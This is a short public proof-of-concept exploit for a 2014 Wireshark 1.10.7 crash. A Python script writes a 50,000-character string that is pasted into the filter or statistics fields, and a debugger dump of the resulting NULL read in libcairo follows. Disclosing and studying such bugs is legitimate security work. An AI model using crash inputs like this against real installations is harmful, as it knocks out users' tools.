Wireshark 1.10.7 - DoS PoC

#!/usr/bin/python
# Exploit Title: Wireshark Read Access Violation near NULL starting at libcairo_2!cairo_image_surface_get_data()
# Date: May 15th 2014
# Author: Osanda Malith Jayathissa
# E-Mail: osandajayathissa<[at]>gmail.com
# Version: 1.10.7 32-bit and 64-bit
# Vendor Homepage: http://www.wireshark.org
# Tested on: Windows 8 64-bit
'''
The issue is with the cairo_image_surface_get_data() function in Cairo.
These fields are vulnerable:
- Filter text box
- Statistics -> IP DESTINATIONS
- Statistics -> IP Addresses
Paste the generated text in any one of above fields and hit return.
'''

payload = "A" * 50000
file = open('exploit.txt', "w")
file.write(payload)
file.close()

'''
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Program Files (x86)\Wireshark32\libcairo-2.dll -
eax=00000000 ebx=052dabf0 ecx=77bc2ad2 edx=612fc6e0 esi=00000000 edi=612fc6e0
eip=61291737 esp=008cdca0 ebp=00000000 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210206
libcairo_2!cairo_image_surface_get_data+0x7:
61291737 8138609d2f61    cmp     dword ptr [eax],offset libcairo_2!cairo_tee_surface_index+0xd080 (612f9d60) ds:002b:00000000=????????
'''


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